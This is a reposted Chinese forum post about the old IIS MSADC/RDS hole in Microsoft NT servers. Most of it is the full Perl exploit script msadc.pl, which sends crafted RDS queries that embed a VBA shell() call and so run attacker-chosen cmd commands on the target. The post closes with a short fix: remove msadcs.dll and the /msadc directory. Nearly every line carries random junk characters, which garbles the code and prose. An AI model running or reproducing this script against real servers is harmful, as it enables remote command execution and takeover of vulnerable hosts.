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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) u+U '|6)E  
hU 3z4|~+  
涉及程序: K@0gBgN  
Microsoft NT server G"_ 8`l  
\W^+aNbv=8  
描述: e+_~a8 -|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^F}HWpF_  
FNQR sNi  
详细: ~c;D@.e\  
如果你没有时间读详细内容的话,就删除: \1^qfw  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N.j?:  
有关的安全问题就没有了。  ~\0uy3%  
$s[DT!8N  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #zRT  
ss8de9T"'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 /CXrxeo  
关于利用ODBC远程漏洞的描述,请参看: n aQ0TN,  
*{/L7])gm  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /Ah|Po  
iJIDx9 )Z  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d{~5tv- H  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp O&ur |&v  
ue YBD]3'  
这里不再论述。 w_*UFLMSqR  
4nIs+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vmV<PK-  
dcK7Dd->  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset #<^ngoOj  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Ax'jNol  
8ec6J*b  
i/Nd  
#将下面这段保存为txt文件,然后: "perl -x 文件名" W ix/Az  
uU7s4oJ|  
#!perl h`1{tu  
# y)5U*\b  
# MSADC/RDS 'usage' (aka exploit) script f,e7;u z%  
# "q-,140_  
# by rain.forest.puppy X={n9*Sd8  
# c5jd q[0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me d|nJp-%V  
# beta test and find errors! ?O]iX;2vM  
> x$eKN  
use Socket; use Getopt::Std; Sk'S`vH  
getopts("e:vd:h:XR", \%args); cqr4P`Oj  
9}\{0;9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 8SG*7[T7  
 3,7SGt r  
if (!defined $args{h} && !defined $args{R}) { aN87^[  
print qq~ !jV}sp<Xp  
Usage: msadc.pl -h <host> { -d <delay> -X -v } RsY7F;  
-h <host> = host you want to scan (ip or domain) `#X\@?'5  
-d <seconds> = delay between calls, default 1 second 0cd`. ZF  
-X = dump Index Server path table, if available (k@%04c  
-v = verbose w]BZgF.  
-e = external dictionary file for step 5 b IS 3  
h^u 9W7.  
Or a -R will resume a command session p@/i e@DX  
.x 1&   
~; exit;} rQW&$M  
3EM=6\#q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `ViFY   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n+C,v.X  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} LLa72HW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3C=|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} SBj9sFZ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } U\_-GS;1  
=bVaB<!  
if (!defined $args{R}){ $ret = &has_msadc; U[!x 0M  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9M$=X-  
"y%S.ipWG  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 5#v  
. "cmd /c "; /uTU*Oe  
$in=<STDIN>; chomp $in; B&tU~  
$command="cmd /c " . $in ; %T.4Aj  
dkz79G}e  
if (defined $args{R}) {&load; exit;} ?qn0].  
hkS K;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kW'xuZ&  
&try_btcustmr; kfod[*3  
2{<5?Op  
print "\nStep 2: Trying to make our own DSN..."; :/Zy=F9:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  X,zqI  
8x`?Yc  
print "\nStep 3: Trying known DSNs..."; 2>E.Q@c  
&known_dsn; i.0}d5Y  
*3S ./ C}  
print "\nStep 4: Trying known .mdbs..."; l.DC20bs  
&known_mdb; '>GZB  
L_>j SP  
if (defined $args{e}){ Z3ucJH/)V  
print "\nStep 5: Trying dictionary of DSN names..."; Ab]`*h\U  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } wKjL}1.k  
MjO.s+I  
print "Sorry Charley...maybe next time?\n"; rtl|zCst  
exit; PMDx5-{A/t  
jIZpv|t)  
############################################################################## 07zbx6:t  
ls(lL\  
sub sendraw { # ripped and modded from whisker ~*Fbs! ;,  
sleep($delay); # it's a DoS on the server! At least on mine... CS:"F) at  
my ($pstr)=@_; ebbC`eFD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c,$ >u,4  
die("Socket problems\n"); B( ]=I@L=W  
if(connect(S,pack "SnA4x8",2,80,$target)){ A4}6hG#  
select(S); $|=1; gAy,uP~,  
print $pstr; my @in=<S>; K_@[%  
select(STDOUT); close(S); $6BD6\@  
return @in; Gw"H#9J} T  
} else { die("Can't connect...\n"); }} DEGEr-  
x Z 3b)j2D  
############################################################################## *vx!twu1o  
we<m%pf  
sub make_header { # make the HTTP request +="?[:  
my $msadc=<<EOT Iz'*^{Ssm  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !N6/l5kn  
User-Agent: ACTIVEDATA Up61Xn  
Host: $ip k<mfBNvuo  
Content-Length: $clen "=7y6bM  
Connection: Keep-Alive xLfx/&2  
Kh)SgJ3B@  
ADCClientVersion:01.06 b%w?YR   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 [B}$U|V0  
gbP]!d:I  
--!ADM!ROX!YOUR!WORLD! Ax D&_GT  
Content-Type: application/x-varg kPN:m ow  
Content-Length: $reqlen uG1)cm B}  
YlI/~J  
EOT `0@onDQVc=  
; $msadc=~s/\n/\r\n/g; /8Sg<  
return $msadc;} fc'NU(70c  
@M[t|  
############################################################################## (Rqn)<<2  
Ap&Bwo 8b  
sub make_req { # make the RDS request dgLE/r?  
my ($switch, $p1, $p2)=@_; \KlOj%s  
my $req=""; my $t1, $t2, $query, $dsn; S4/CL4=  
!J3dlUFRO  
if ($switch==1){ # this is the btcustmr.mdb query qpo3b7(N  
$query="Select * from Customers where City=" . make_shell(); ,KXS6:1%5Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . )aW;w|#n  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wS*An4%G  
K{eq'F5M  
elsif ($switch==2){ # this is general make table query 7Eo a~  
$query="create table AZZ (B int, C varchar(10))"; {rQ SB;3  
$dsn="$p1";} ]>E)0<t  
D0'L  
elsif ($switch==3){ # this is general exploit table query L&[uE;ro  
$query="select * from AZZ where C=" . make_shell(); Fa}3UVm  
$dsn="$p1";} J{W<6AK\S  
f(Vr&X  
elsif ($switch==4){ # attempt to hork file info from index server U)Cv_qe  
$query="select path from scope()"; i%jti6z$Hr  
$dsn="Provider=MSIDXS;";} h n:  
-YF]k}|  
elsif ($switch==5){ # bad query ,>6s~'  
$query="select"; ^_6.*Mvx  
$dsn="$p1";} sEpY&6*  
Z=VAjJ;i[  
$t1= make_unicode($query); Igowz7  
$t2= make_unicode($dsn); K `|%-k+D  
$req = "\x02\x00\x03\x00"; jV83%%e  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8lG@8tbW^  
$req.= "\x00\x00" . $t1 ; -+^E5  
$req.= "\x08\x00" . pack ("S1", length($t2)); zZ rUS'8  
$req.= "\x00\x00" . $t2 ; f+#^Lngo  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; rkdf htpI  
return $req;} *D&(6$[^  
W_ w^"'  
############################################################################## $a'n{EP  
^gP pmb<x  
sub make_shell { # this makes the shell() statement ,BGaJ|k  
return "'|shell(\"$command\")|'";} A*;I}F  
ya[][!.G  
############################################################################## 3q{op9_T7  
[)K?e!c8  
sub make_unicode { # quick little function to convert to unicode El3Y1g3+3  
my ($in)=@_; my $out; \k?Fu=@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5F#Q1gP-  
return $out;} BCH{0w^D  
}.j<kmd  
############################################################################## b`?$;5  
oMM+af  
sub rdo_success { # checks for RDO return success (this is kludge) ZCdlTdY   
my (@in) = @_; my $base=content_start(@in); i98>=y~  
if($in[$base]=~/multipart\/mixed/){ y~,mIM$[@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} >LvQ&fAo  
return 0;} (o+(YV^  
Q-scL>IkCb  
############################################################################## $ {Y? jJ  
&NvvaqJ  
sub make_dsn { # this makes a DSN for us dMo456L  
my @drives=("c","d","e","f"); A .]o&S}  
print "\nMaking DSN: "; : ,0F_["3  
foreach $drive (@drives) { _!vxX ]  
print "$drive: "; R07 7eX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . r]GG9si  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]r]=Q"/5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  t 0 $}  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ;5i~McH# t  
return 0 if $2 eq "404"; # not found/doesn't exist +48a..4sN  
if($2 eq "200") { r&$r=f<  
foreach $line (@results) { J.nJ@?O+  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *{_WM}G  
} return 0;} QqpXUyHp[  
F]_w~1 n5  
############################################################################## }6U`/"RfcO  
zk\YW'x|r  
sub verify_exists { dRl*rP/  
my ($page)=@_; Wt$" f  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4z {jWNM)N  
return $results[0];} 28/At  
2[^p6s[  
############################################################################## $2tPqZ>  
y `)oD0)Fj  
sub try_btcustmr { $mH'%YDIl  
my @drives=("c","d","e","f"); _9y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); mpsi{%gA  
w$E8R[J~P  
foreach $dir (@dirs) { 6[\b]I\Q  
print "$dir -> "; # fun status so you can see progress G54,`uz2  
foreach $drive (@drives) { k15fy"+Ut  
print "$drive: "; # ditto `E@TPdu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @ V_@r@A  
$reqlenlen=length( "$reqlen" ); p\>im+0oh  
$clen= 206 + $reqlenlen + $reqlen; Mg7nv\6  
#$W bYL|  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (x+C =1,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} W zKaLyM  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} am+'j5`Ys  
} `X.^}oe  
############################################################################## \J)ffEKIp  
EWU(Al T  
sub odbc_error { _^Ds[VAgA  
my (@in)=@_; my $base; +{eZ@  
my $base = content_start(@in); G1 :*F8q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7W7!X\0Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f:w#r.]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; != @U~X|cu  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qGAb h  
return $in[$base+4].$in[$base+5].$in[$base+6];} tf:4}6P1  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; X+R?>xq{=h  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . wZAY0@pA  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I: j!A  
lZ\Si  
############################################################################## *8WcRx  
>TnV Lx<  
sub verbose { E~b Yk6  
my ($in)=@_; 2r 0u[  
return if !$verbose; KS9 e V  
print STDOUT "\n$in\n";} rM{3]v{~  
ptA-rX.  
############################################################################## Ts~MkO  
z~Ec*  
sub save { |aaoi4OJ  
my ($p1, $p2, $p3, $p4)=@_; 7H,p/G?]k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \v*WI)]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; AV t(e6H  
close OUT;} C>A*L4c]F  
CH`_4UAX%  
############################################################################## =7*k>]o  
~9tPT 0^+  
sub load { A,WZ}v}_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {I]X-+D|_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  e>FK5rz  
@p=<IN>; close(IN); nMBKZ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); GfG!CG^ %  
$target= inet_aton($ip) || die("inet_aton problems"); ,j'>}'wG)  
print "Resuming to $ip ..."; \nX5 $[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; xM#+jI  
if($p[1]==1) { DbL=2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ne~=^IRB  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; xDJs0P4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); pOe"S  
if (rdo_success(@results)){print "Success!\n";} m\Xgvpv rP  
else { print "failed\n"; verbose(odbc_error(@results));}} 3T<aGW1  
elsif ($p[1]==3){ EWr8=@iU  
if(run_query("$p[3]")){ 03{pxI  
print "Success!\n";} else { print "failed\n"; }} 2v;F@fUB.  
elsif ($p[1]==4){ O< \i{4}}  
if(run_query($drvst . "$p[3]")){ nWyn}+C-  
print "Success!\n"; } else { print "failed\n"; }} NDmTxW#g  
exit;} 5y1:oiE/  
RTEzcJ>  
##############################################################################  _xyq25/  
S(c&XJR  
sub create_table { ;(Xig$k  
my ($in)=@_; pow.@  
$reqlen=length( make_req(2,$in,"") ) - 28; ]:6M!+?(  
$reqlenlen=length( "$reqlen" ); {e1akg.  
$clen= 206 + $reqlenlen + $reqlen; =:5o"g  
my @results=sendraw(make_header() . make_req(2,$in,"")); %]iDhXLr  
return 1 if rdo_success(@results); V"r2 t9A  
my $temp= odbc_error(@results); verbose($temp); zS6oz=  
return 1 if $temp=~/Table 'AZZ' already exists/; Kb/w+J S  
return 0;} `E4+#_ v  
 3g#  
############################################################################## BbV@ziL  
d7*fP S  
sub known_dsn { Rl%?c5U/$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go : }q~<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", _UqE -+&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %#zqZ|q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); UP})j.z  
m"r=p  
foreach $dSn (@dsns) { "6<L) 8  
print "."; :O~*}7G  
next if (!is_access("DSN=$dSn")); lo!.%PP|  
if(create_table("DSN=$dSn")){ 9CxFj)#5F  
print "$dSn successful\n";  V/8"@C  
if(run_query("DSN=$dSn")){ DUAI  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _!} L\E~  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !97k  
TrEo5H;  
############################################################################## uE]kv  
t@Bl3Nt{  
sub is_access { ZliJc7lss  
my ($in)=@_; `L=d72:  
$reqlen=length( make_req(5,$in,"") ) - 28; [@PD[-2QG3  
$reqlenlen=length( "$reqlen" ); >,&@j,?']  
$clen= 206 + $reqlenlen + $reqlen; o-f;$]yp>  
my @results=sendraw(make_header() . make_req(5,$in,"")); ==?!z<I.d  
my $temp= odbc_error(@results); |BC/ERms  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); d<@SRHP(  
return 0;} ^_Ap?zn  
b":3J)Y6.  
############################################################################## G|h@O'  
$ncJc  
sub run_query { cu~\&3 R  
my ($in)=@_; ,?k~>,{3  
$reqlen=length( make_req(3,$in,"") ) - 28; z87_/(nu  
$reqlenlen=length( "$reqlen" ); )v+R+3<  
$clen= 206 + $reqlenlen + $reqlen; #3h~Z)+y  
my @results=sendraw(make_header() . make_req(3,$in,"")); E;vF :?|  
return 1 if rdo_success(@results); 68 *~5]  
my $temp= odbc_error(@results); verbose($temp); : CR1Oy9  
return 0;} ,2R7AHk  
\uUd *  
############################################################################## us0{y7(p  
B'kV.3t  
sub known_mdb { uYu/0fQD  
my @drives=("c","d","e","f","g"); H/I1n\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F70_N($i  
my $dir, $drive, $mdb; O.HaEg/-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; MB:VACCr  
^hN.FIzM  
# this is sparse, because I don't know of many O7x'q<PFU  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 2`ED?F68gH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @'ln)RT,  
"\\system32\\certmdb.mdb", Shm$>\~=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -{=c T?"+  
IcDAl~uG  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l[cBDNlrC;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", | WN9&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", nbhzLUK  
"\\cfusion\\cfapps\\security\\realm_.mdb", {Iu9%uR>@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", VY#:IE:T  
"\\cfusion\\database\\cfexamples.mdb", iax6o+OG|  
"\\cfusion\\database\\cfsnippets.mdb", @ a$HJ:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", TSp;Vr OP  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]\8{z"  
"\\cfusion\\brighttiger\\database\\cleam.mdb", j&qJK,~  
"\\cfusion\\database\\smpolicy.mdb", `Qg#`  
"\\cfusion\\database\cypress.mdb", r{Stsha(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *GMs>" C  
"\\website\\cgi-win\\dbsample.mdb", V.f'Cw  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "92Z"I~1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =D"H0w <zw  
); #these are just 6 pQbh*  
foreach $drive (@drives) { $d +n},[C{  
foreach $dir (@dirs){ ,O;+fhUJ(  
foreach $mdb (@sysmdbs) { ^UJ#YRzi  
print "."; `"#0\Wh  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ zq?Iwyo  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; L 2Z9g`>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 1,/L&_=_A  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; m$UrY(6d  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {Yp;R  
.AzGPcJY  
foreach $drive (@drives) { F[65)"^  
foreach $mdb (@mdbs) { }$zJdf,\  
print "."; "V>7u{T  
if(create_table($drv . $drive . $dir . $mdb)){ #;#r4sJwU  
print "\n" . $drive . $dir . $mdb . " successful\n"; L+b"d3!G&%  
if(run_query($drv . $drive . $dir . $mdb)){ &M6cCT]&M  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; VHUOI64*  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2S{IZ]  
} 6$l6>A  
2Q/#.lNL  
############################################################################## qUMM}ls  
bO:m^*  
sub hork_idx { o YZmz  
print "\nAttempting to dump Index Server tables...\n"; HVz,liq  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; bN',-[E  
$reqlen=length( make_req(4,"","") ) - 28; .).*6{_  
$reqlenlen=length( "$reqlen" ); `c-(1 ;Jb  
$clen= 206 + $reqlenlen + $reqlen; ~5f|L(ODX  
my @results=sendraw2(make_header() . make_req(4,"","")); 5X'com?T  
if (rdo_success(@results)){ 2qY+-yOEt  
my $max=@results; my $c; my %d; \qU.?V[2  
for($c=19; $c<$max; $c++){ =h"*1`  
$results[$c]=~s/\x00//g; Mv O!p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; IIW6;jS  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1 ^k#g,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;h }^f-  
$d{"$1$2"}="";} dF- d  
foreach $c (keys %d){ print "$c\n"; } wW1E 'Vy{  
} else {print "Index server doesn't seem to be installed.\n"; }} e+ZC<Bdh  
6-'Y*  
############################################################################## XP$1CWI  
-i}@o1o\  
sub dsn_dict { b,7@)sZ*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9=-!~ _'1-  
while(<IN>){ wF`9}9q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; abvA*|  
next if (!is_access("DSN=$dSn")); ),K!| 7#h  
if(create_table("DSN=$dSn")){ ~TGk`cAM>  
print "$dSn successful\n"; 6 s+ Z  
if(run_query("DSN=$dSn")){ dB^')-wA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -ty_<m]  
print "Something's borked. Use verbose next time\n";}}}  mB:I8g7  
print "\n"; close(IN);} m>@$T x  
CDz-IQi  
############################################################################## n-cz xq%n  
Xu1tN9:oE  
sub sendraw2 { # ripped and modded from whisker h.\9a3B:r  
sleep($delay); # it's a DoS on the server! At least on mine... f"0{e9O]2  
my ($pstr)=@_; o~Im5j],*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mh4NZ @;  
die("Socket problems\n"); #hBDOXHPf  
if(connect(S,pack "SnA4x8",2,80,$target)){ qP"<vZ  
print "Connected. Getting data"; *+E9@r=HF  
open(OUT,">raw.out"); my @in; D\:~G}M  
select(S); $|=1; print $pstr; 6^L4wd7)  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "~f=7  
close(OUT); select(STDOUT); close(S); return @in; \mt0mv;c  
} else { die("Can't connect...\n"); }} d45JT?qg&  
?1I0VA']  
############################################################################## Mb I';Mq  
8: KlU(J  
sub content_start { # this will take in the server headers V0]6F  
my (@in)=@_; my $c; Ef;OrE""  
for ($c=1;$c<500;$c++) { @Y#{[@Hp%  
if($in[$c] =~/^\x0d\x0a/){ ypuW}H%`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } $=j}JX}z  
else { return $c+1; }}} T1@]:`&  
return -1;} # it should never get here actually Y dgaZJs  
 LWb5C{  
############################################################################## T/^ /U6JB  
#_tixg  
sub funky { 2<aBUGA  
my (@in)=@_; my $error=odbc_error(@in); pvJsSX  
if($error=~/ADO could not find the specified provider/){ )ow|n^D($M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; T/%s7!E  
exit;} \h%/Cp+p  
if($error=~/A Handler is required/){ x)h p3&L  
print "\nServer has custom handler filters (they most likely are patched)\n"; x. 7Ln9  
exit;} Y%UfwbX!g  
if($error=~/specified Handler has denied Access/){ _fH.#C  
print "\nServer has custom handler filters (they most likely are patched)\n"; o0>z6Ya<  
exit;}} uC>X;<^   
5]WpH0kzO  
############################################################################## * Yr)>;^  
g`jO  
sub has_msadc { xQ `>\f  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); t` R#pQ  
my $base=content_start(@results);  /{ .  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); bP`.teO\  
return 0;} <Gy)|qpK[  
0R,?$qM\  
######################## VP$`.y  
'm@0[i  
"28b&pm  
解决方案: i;1aobG  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll /5@V $c8  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 l@FPTHq  
5FJ<y"<6  
拿出来充数 哈哈
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